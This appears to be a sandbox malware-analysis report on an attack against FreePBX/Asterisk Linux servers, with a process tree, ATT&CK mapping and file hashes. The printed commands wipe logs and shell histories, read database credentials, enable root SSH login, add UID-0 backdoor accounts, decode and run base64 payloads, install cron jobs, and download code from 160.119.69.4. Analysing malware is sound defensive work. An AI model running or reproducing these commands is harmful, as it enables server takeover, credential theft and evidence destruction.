-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1187
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1189
-
-
/usr/bin/xargsxargs -0 grep -Il kJnctpXKOi249YYSoaHyqnLW3⤵PID:1193
-
/usr/local/sbin/grepgrep -Il kJnctpXKOi249YYSoaHyqnLW4⤵PID:1196
-
-
/usr/local/bin/grepgrep -Il kJnctpXKOi249YYSoaHyqnLW4⤵PID:1196
-
-
/usr/sbin/grepgrep -Il kJnctpXKOi249YYSoaHyqnLW4⤵PID:1196
-
-
/usr/bin/grepgrep -Il kJnctpXKOi249YYSoaHyqnLW4⤵PID:1196
-
-
/sbin/grepgrep -Il kJnctpXKOi249YYSoaHyqnLW4⤵PID:1196
-
-
/bin/grepgrep -Il kJnctpXKOi249YYSoaHyqnLW4⤵PID:1196
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1192
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1194
-
-
/usr/bin/xargsxargs -0 grep -Il SHzAg0Y1W0QDZUXKj3⤵PID:1198
-
/usr/local/sbin/grepgrep -Il SHzAg0Y1W0QDZUXKj4⤵PID:1201
-
-
/usr/local/bin/grepgrep -Il SHzAg0Y1W0QDZUXKj4⤵PID:1201
-
-
/usr/sbin/grepgrep -Il SHzAg0Y1W0QDZUXKj4⤵PID:1201
-
-
/usr/bin/grepgrep -Il SHzAg0Y1W0QDZUXKj4⤵PID:1201
-
-
/sbin/grepgrep -Il SHzAg0Y1W0QDZUXKj4⤵PID:1201
-
-
/bin/grepgrep -Il SHzAg0Y1W0QDZUXKj4⤵PID:1201
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1197
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:1199
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
- Reads runtime system information
PID:1203
-
-
/usr/bin/xargsxargs -0 grep -Il hmQkq0io3⤵PID:1204
-
/usr/local/sbin/grepgrep -Il hmQkq0io4⤵PID:1206
-
-
/usr/local/bin/grepgrep -Il hmQkq0io4⤵PID:1206
-
-
/usr/sbin/grepgrep -Il hmQkq0io4⤵PID:1206
-
-
/usr/bin/grepgrep -Il hmQkq0io4⤵PID:1206
-
-
/sbin/grepgrep -Il hmQkq0io4⤵PID:1206
-
-
/bin/grepgrep -Il hmQkq0io4⤵PID:1206
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1205
-
-
/usr/bin/xargsxargs -0 grep -Il 2PGY4kKo38Axxy3⤵PID:1208
-
/usr/local/sbin/grepgrep -Il 2PGY4kKo38Axxy4⤵PID:1211
-
-
/usr/local/bin/grepgrep -Il 2PGY4kKo38Axxy4⤵PID:1211
-
-
/usr/sbin/grepgrep -Il 2PGY4kKo38Axxy4⤵PID:1211
-
-
/usr/bin/grepgrep -Il 2PGY4kKo38Axxy4⤵PID:1211
-
-
/sbin/grepgrep -Il 2PGY4kKo38Axxy4⤵PID:1211
-
-
/bin/grepgrep -Il 2PGY4kKo38Axxy4⤵PID:1211
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1207
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1209
-
-
/usr/bin/xargsxargs -0 grep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE3⤵PID:1214
-
/usr/local/sbin/grepgrep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE4⤵PID:1216
-
-
/usr/local/bin/grepgrep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE4⤵PID:1216
-
-
/usr/sbin/grepgrep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE4⤵PID:1216
-
-
/usr/bin/grepgrep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE4⤵PID:1216
-
-
/sbin/grepgrep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE4⤵PID:1216
-
-
/bin/grepgrep -Il AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE4⤵PID:1216
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1213
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1215
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵PID:1218
-
-
/bin/chmodchmod 755 /var/www/html/admin/modules/freepbx_ha/3⤵
- File and Directory Permissions Modification
PID:1220
-
-
/bin/chmodchmod 755 /var/www/html/admin/modules/ucp/htdocs/3⤵
- File and Directory Permissions Modification
PID:1221
-
-
/bin/chmodchmod 755 /var/www/html/libs/3⤵
- File and Directory Permissions Modification
PID:1222
-
-
/bin/chmodchmod -R 755 /var/www/html/3⤵
- File and Directory Permissions Modification
PID:1224
-
-
/bin/rmrm -rf /tmp/.X25-unix /tmp/.X11-unix3⤵PID:1225
-
-
/bin/rmrm -rf /root/.config/.pref3⤵PID:1227
-
-
/bin/rmrm -rf /usr/lib/.systemd/.cache3⤵PID:1228
-
-
/bin/rmrm -rf /usr/share/.fonts/.config3⤵PID:1229
-
-
/bin/rmrm -rf /var/lib/.dbus/.data3⤵PID:1231
-
-
/bin/rmrm -rf /var/tmp/.X11/.Xauthority3⤵PID:1232
-
-
/bin/rmrm -rf /opt/.local/.bashrc3⤵PID:1234
-
-
/bin/rmrm -rf /var/cache/.fontconfig/.cfg3⤵PID:1235
-
-
/bin/rmrm -rf /etc/.ssl/.cert3⤵PID:1236
-
-
/bin/rmrm -rf /tmp/.bash_history3⤵PID:1237
-
-
/bin/rmrm -rf /tmp/.mysql_history3⤵PID:1239
-
-
/bin/rmrm -rf /tmp/.sh_history3⤵PID:1240
-
-
/bin/rmrm -rf /var/tmp/.bash_history3⤵PID:1242
-
-
/bin/rmrm -rf /var/tmp/.mysql_history3⤵PID:1243
-
-
/bin/rmrm -rf "/home/*/.bash_history"3⤵PID:1244
-
-
/bin/rmrm -rf /root/.bash_history3⤵PID:1246
-
-
/bin/rmrm -rf /root/.ssh/3⤵PID:1248
-
-
/usr/bin/findfind /var/log/ -type f -name "*-20*" -delete3⤵PID:1249
-
-
/usr/bin/findfind /var/log/ -type f -name "*.log" -exec truncate -s 0 "{}" ";"3⤵PID:1251
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/fontconfig.log4⤵PID:1253
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/fontconfig.log4⤵PID:1253
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/fontconfig.log4⤵PID:1253
-
-
/usr/bin/truncatetruncate -s 0 /var/log/fontconfig.log4⤵
- Deletes log files
PID:1253
-
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/user.log4⤵PID:1254
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/user.log4⤵PID:1254
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/user.log4⤵PID:1254
-
-
/usr/bin/truncatetruncate -s 0 /var/log/user.log4⤵
- Deletes log files
PID:1254
-
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/dpkg.log4⤵PID:1255
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/dpkg.log4⤵PID:1255
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/dpkg.log4⤵PID:1255
-
-
/usr/bin/truncatetruncate -s 0 /var/log/dpkg.log4⤵
- Deletes log files
PID:1255
-
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/daemon.log4⤵PID:1257
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/daemon.log4⤵PID:1257
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/daemon.log4⤵PID:1257
-
-
/usr/bin/truncatetruncate -s 0 /var/log/daemon.log4⤵
- Deletes log files
PID:1257
-
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/auth.log4⤵PID:1258
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/auth.log4⤵PID:1258
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/auth.log4⤵PID:1258
-
-
/usr/bin/truncatetruncate -s 0 /var/log/auth.log4⤵
- Deletes log files
PID:1258
-
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/kern.log4⤵PID:1260
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/kern.log4⤵PID:1260
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/kern.log4⤵PID:1260
-
-
/usr/bin/truncatetruncate -s 0 /var/log/kern.log4⤵
- Deletes log files
PID:1260
-
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/apt/history.log4⤵PID:1261
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/apt/history.log4⤵PID:1261
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/apt/history.log4⤵PID:1261
-
-
/usr/bin/truncatetruncate -s 0 /var/log/apt/history.log4⤵
- Deletes log files
PID:1261
-
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/apt/term.log4⤵PID:1262
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/apt/term.log4⤵PID:1262
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/apt/term.log4⤵PID:1262
-
-
/usr/bin/truncatetruncate -s 0 /var/log/apt/term.log4⤵
- Deletes log files
PID:1262
-
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/audit/audit.log4⤵PID:1264
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/audit/audit.log4⤵PID:1264
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/audit/audit.log4⤵PID:1264
-
-
/usr/bin/truncatetruncate -s 0 /var/log/audit/audit.log4⤵
- Deletes Audit logs
PID:1264
-
-
/usr/local/sbin/truncatetruncate -s 0 /var/log/alternatives.log4⤵PID:1265
-
-
/usr/local/bin/truncatetruncate -s 0 /var/log/alternatives.log4⤵PID:1265
-
-
/usr/sbin/truncatetruncate -s 0 /var/log/alternatives.log4⤵PID:1265
-
-
/usr/bin/truncatetruncate -s 0 /var/log/alternatives.log4⤵
- Deletes log files
PID:1265
-
-
-
/bin/grepgrep -E "^AMPDBHOST=" /etc/amportal.conf3⤵PID:1268
-
-
/usr/bin/cutcut "-d=" -f23⤵PID:1269
-
-
/usr/bin/cutcut "-d=" -f23⤵PID:1273
-
-
/bin/grepgrep -E "^AMPDBUSER=" /etc/amportal.conf3⤵PID:1272
-
-
/bin/grepgrep -E "^AMPDBPASS=" /etc/amportal.conf3⤵PID:1276
-
-
/usr/bin/cutcut "-d=" -f23⤵PID:1277
-
-
/usr/bin/cutcut "-d=" -f23⤵PID:1280
-
-
/bin/grepgrep -E "^AMPDBNAME=" /etc/amportal.conf3⤵PID:1279
-
-
/bin/sedsed -i "/curl\\|wget\\|110.10.178.37\\|111.223.32.50\\|202.170.120.157\\|pastebin\\|base64\\|devnull\\|cache\\|X2\\|configrc\\|postroot\\|searchshells/d" /etc/rc.local3⤵PID:1281
-
-
/bin/sedsed -i "/chmod 777/d" /etc/rc.local3⤵
- File and Directory Permissions Modification
PID:1282
-
-
/bin/sedsed -i "/chmod +x/d" /etc/rc.local3⤵
- File and Directory Permissions Modification
PID:1283
-
-
/bin/rmrm -f /etc/rc.local3⤵PID:1284
-
-
/bin/chmodchmod +x /etc/rc.local3⤵
- File and Directory Permissions Modification
PID:1285
-
-
/bin/rmrm -f /usr/sbin/setuid3⤵PID:1286
-
-
/bin/rmrm -f /usr/bin/setuid3⤵PID:1287
-
-
/bin/rmrm -f /bin/setuid3⤵PID:1288
-
-
/bin/sedsed -i "s/^Port 2022/Port 22/" /etc/ssh/sshd_config3⤵
- Reads runtime system information
PID:1289
-
-
/bin/sedsed -i "s/^PermitRootLogin no/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
- Reads runtime system information
PID:1290
-
-
/bin/sedsed -i "s/^PasswordAuthentication no/PasswordAuthentication yes/" /etc/ssh/sshd_config3⤵PID:1291
-
-
/bin/rmrm -f /etc/ssh/sshd_config_backup3⤵PID:1292
-
-
/bin/systemctlsystemctl restart sshd3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1293
-
-
/bin/sedsed -i /mdrfckr/d /root/.ssh/authorized_keys3⤵PID:1299
-
-
/bin/sedsed -i /rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww/d /root/.ssh/authorized_keys3⤵PID:1300
-
-
/bin/sedsed -i /EznDALXvZIjs6nDmq7NcSO9Q6Oo5R4Qp059Cl6YEcLzewZl7I61XgCFwoAv7aMkbQzFi5kDm7PZIgMi3pPNLlgXQXcc2/d /root/.ssh/authorized_keys3⤵PID:1301
-
-
/bin/sedsed -i /AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d /root/.ssh/authorized_keys3⤵PID:1302
-
-
/bin/sedsed -i "/ssh-rsa.*root@localhost/d" /root/.ssh/authorized_keys3⤵PID:1303
-
-
/bin/sedsed -i "/xapi\\|cmd.txt\\|c99.txt/d" /root/.ssh/authorized_keys3⤵PID:1304
-
-
/bin/rmrm -f /root/.ssh/authorized_keys3⤵PID:1305
-
-
/bin/rmrm -f /home/asterisk/.ssh/authorized_keys3⤵PID:1306
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
PID:1308
-
-
/bin/bashbash3⤵PID:1309
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbxs4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
PID:1310 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1311
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1312
-
-
/usr/sbin/nscdnscd -i passwd5⤵PID:1313
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1314
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
PID:1316
-
-
/bin/bashbash3⤵PID:1317
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbx4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
PID:1318 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1319
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1320
-
-
/usr/sbin/nscdnscd -i passwd5⤵PID:1321
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1322
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
PID:1324
-
-
/bin/bashbash3⤵PID:1325
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
PID:1326 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1327
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1328
-
-
/usr/sbin/nscdnscd -i passwd5⤵PID:1329
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1330
-
-
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:1332
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1334
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1336
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1338
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1340
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵PID:1341
-
-
/usr/bin/trtr -dc a-z0-93⤵PID:1343
-
-
/usr/bin/headhead -c83⤵PID:1344
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmps/.63mq32x73⤵PID:1346
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmp/.63mq32x73⤵
- Writes file to tmp directory
PID:1348
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /trmp/.63mq32x73⤵PID:1350
-
-
/usr/bin/findfind /home -name authorized_keys -exec sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d "{}" ";"3⤵PID:1351
-
-
/bin/rmrm -f /root/.ssh/authorized_keys3⤵PID:1352
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45\\.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50\\|212\\.83\\.160\\.70/160.119.69.4/g" /etc/crontab3⤵PID:1353
-
-
/sbin/iptablesiptables -C INPUT -s 62.171.157.156 -j DROP3⤵
- Flushes firewall rules
PID:1354
-
-
/sbin/iptablesiptables -A INPUT -s 62.171.157.156 -j DROP3⤵
- Flushes firewall rules
PID:1355
-
-
/sbin/iptablesiptables -C OUTPUT -d 62.171.157.156 -j DROP3⤵
- Flushes firewall rules
PID:1356
-
-
/sbin/iptablesiptables -A OUTPUT -d 62.171.157.156 -j DROP3⤵
- Flushes firewall rules
PID:1357
-
-
/sbin/iptablesiptables -C INPUT -s 178.214.77.7 -j DROP3⤵
- Flushes firewall rules
PID:1359
-
-
/sbin/iptablesiptables -A INPUT -s 178.214.77.7 -j DROP3⤵
- Flushes firewall rules
PID:1360
-
-
/sbin/iptablesiptables -C OUTPUT -d 178.214.77.7 -j DROP3⤵
- Flushes firewall rules
PID:1361
-
-
/sbin/iptablesiptables -A OUTPUT -d 178.214.77.7 -j DROP3⤵
- Flushes firewall rules
PID:1362
-
-
/sbin/iptablesiptables -C INPUT -s 45.234.176.202 -j DROP3⤵
- Flushes firewall rules
PID:1364
-
-
/sbin/iptablesiptables -A INPUT -s 45.234.176.202 -j DROP3⤵
- Flushes firewall rules
PID:1365
-
-
/sbin/iptablesiptables -C OUTPUT -d 45.234.176.202 -j DROP3⤵
- Flushes firewall rules
PID:1366
-
-
/sbin/iptablesiptables -A OUTPUT -d 45.234.176.202 -j DROP3⤵
- Flushes firewall rules
PID:1367
-
-
/sbin/iptablesiptables -C INPUT -s 46.37.21.63 -j DROP3⤵
- Flushes firewall rules
PID:1369
-
-
/sbin/iptablesiptables -A INPUT -s 46.37.21.63 -j DROP3⤵
- Flushes firewall rules
PID:1370
-
-
/sbin/iptablesiptables -C OUTPUT -d 46.37.21.63 -j DROP3⤵
- Flushes firewall rules
PID:1371
-
-
/sbin/iptablesiptables -A OUTPUT -d 46.37.21.63 -j DROP3⤵
- Flushes firewall rules
PID:1372
-
-
/sbin/iptablesiptables -C INPUT -s 162.217.98.180 -j DROP3⤵
- Flushes firewall rules
PID:1374
-
-
/sbin/iptablesiptables -A INPUT -s 162.217.98.180 -j DROP3⤵
- Flushes firewall rules
PID:1375
-
-
/sbin/iptablesiptables -C OUTPUT -d 162.217.98.180 -j DROP3⤵
- Flushes firewall rules
PID:1376
-
-
/sbin/iptablesiptables -A OUTPUT -d 162.217.98.180 -j DROP3⤵
- Flushes firewall rules
PID:1377
-
-
/sbin/iptablesiptables -C INPUT -s 172.93.111.169 -j DROP3⤵
- Flushes firewall rules
PID:1379
-
-
/sbin/iptablesiptables -A INPUT -s 172.93.111.169 -j DROP3⤵
- Flushes firewall rules
PID:1380
-
-
/sbin/iptablesiptables -C OUTPUT -d 172.93.111.169 -j DROP3⤵
- Flushes firewall rules
PID:1381
-
-
/sbin/iptablesiptables -A OUTPUT -d 172.93.111.169 -j DROP3⤵
- Flushes firewall rules
PID:1382
-
-
/sbin/iptablesiptables -C INPUT -s 107.191.47.36 -j DROP3⤵
- Flushes firewall rules
PID:1384
-
-
/sbin/iptablesiptables -A INPUT -s 107.191.47.36 -j DROP3⤵
- Flushes firewall rules
PID:1385
-
-
/sbin/iptablesiptables -C OUTPUT -d 107.191.47.36 -j DROP3⤵
- Flushes firewall rules
PID:1386
-
-
/sbin/iptablesiptables -A OUTPUT -d 107.191.47.36 -j DROP3⤵
- Flushes firewall rules
PID:1387
-
-
/sbin/iptablesiptables -C INPUT -s 3.89.108.204 -j DROP3⤵
- Flushes firewall rules
PID:1389
-
-
/sbin/iptablesiptables -A INPUT -s 3.89.108.204 -j DROP3⤵
- Flushes firewall rules
PID:1390
-
-
/sbin/iptablesiptables -C OUTPUT -d 3.89.108.204 -j DROP3⤵
- Flushes firewall rules
PID:1391
-
-
/sbin/iptablesiptables -A OUTPUT -d 3.89.108.204 -j DROP3⤵
- Flushes firewall rules
PID:1392
-
-
/sbin/iptablesiptables -C INPUT -s 37.252.64.234 -j DROP3⤵
- Flushes firewall rules
PID:1394
-
-
/sbin/iptablesiptables -A INPUT -s 37.252.64.234 -j DROP3⤵
- Flushes firewall rules
PID:1395
-
-
/sbin/iptablesiptables -C OUTPUT -d 37.252.64.234 -j DROP3⤵
- Flushes firewall rules
PID:1396
-
-
/sbin/iptablesiptables -A OUTPUT -d 37.252.64.234 -j DROP3⤵
- Flushes firewall rules
PID:1397
-
-
/sbin/iptablesiptables -C INPUT -s 202.170.120.157 -j DROP3⤵
- Flushes firewall rules
PID:1399
-
-
/sbin/iptablesiptables -C OUTPUT -d 202.170.120.157 -j DROP3⤵
- Flushes firewall rules
PID:1400
-
-
/sbin/iptablesiptables -C INPUT -s 111.223.32.50 -j DROP3⤵
- Flushes firewall rules
PID:1402
-
-
/sbin/iptablesiptables -C OUTPUT -d 111.223.32.50 -j DROP3⤵
- Flushes firewall rules
PID:1403
-
-
/sbin/iptablesiptables -C INPUT -s 212.83.160.70 -j DROP3⤵
- Flushes firewall rules
PID:1405
-
-
/sbin/iptablesiptables -C OUTPUT -d 212.83.160.70 -j DROP3⤵
- Flushes firewall rules
PID:1406
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." centos -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
PID:1408 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1409
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1410
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1411
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1412
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." admin -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
PID:1413 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1414
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1415
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1416
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1417
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." support -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
PID:1418 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1419
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1420
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1421
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1422
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." issabel -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
PID:1423 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1424
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1425
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1426
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1427
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." sangoma -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
PID:1428 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1429
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1430
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1431
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1432
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." emo -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
PID:1433 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1434
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1435
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1436
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1437
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax -s /bin/bash -d /dev/null3⤵
- Adds a user to the system
PID:1438
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php3⤵PID:1439
-
-
/bin/grepgrep setsid /root/.bash_profile3⤵PID:1440
-
-
/bin/grepgrep serv3⤵PID:1441
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
PID:1443
-
-
/bin/grepgrep serv3⤵PID:1445
-
-
/bin/grepgrep setsid /root/.bashrc3⤵PID:1444
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
PID:1447
-
-
/bin/grepgrep serv3⤵PID:1449
-
-
/bin/grepgrep setsid /etc/rc.local3⤵PID:1448
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
PID:1451
-
-
/usr/sbin/useradduseradd -m -s /bin/bash sugarmaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
PID:1452 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1453
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1454
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1455
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1456
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash spamfilter3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Reads runtime system information
PID:1457 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1458
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1459
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1460
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1461
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asteriskuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
PID:1462 -
/usr/sbin/nscdnscd -i passwd4⤵PID:1463
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1464
-
-
/usr/sbin/nscdnscd -i passwd4⤵PID:1465
-
-
/usr/sbin/nscdnscd -i group4⤵PID:1466
-
-
-
-
/usr/bin/curlcurl http://160.119.69.4/x -ks2⤵PID:714
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Modify Authentication Process
1Pluggable Authentication Modules
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
3Clear Linux or Mac System Logs
3Modify Authentication Process
1Pluggable Authentication Modules
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/group+
- Size 654B
- SHA256 4a71328bc7d69cccbc0bd8e5b122c1127102d70a951ba126dccbf3ced93b6252
- MD5 c985e3ecd538b98e597c8088da1b6f34
- SHA1 83a6d4ac92e67b86b61d1b2d6ca59c8cbf955f2a
- SHA512 4e040e305d56865d005b66cf81706ae01c2f78c4073d98055c2b1a64047d400c41348bff053ca0852c7f56c7c3d7171976abdc9441785a746911aac3d1082070
- TLSH T19FF07B08A808C658C0911C4912BA1BEC25F82ECF45ABD5C6D56FD8D87301C3317A58E4
- MD5 SHA1 SHA512 TLSH
- Path /etc/group+
- Size 673B
- SHA256 28a0a6b588b1b8c9d89d260aadf3809d9fe9aa2b20d2886dbc864c13e6363a3e
- MD5 125805273ecb6cda9c68bea2f28596e6
- SHA1 af91d91d8a59958dc5293421b443ec376bfdb425
- SHA512 4171236a2e19e571b31139e2b164f78c55bb93c9016d675538fd5b5223d36a0c22ba1fe96769768690ddc038f2462f0e59fa94e39a7d1b88e3456d6728611013
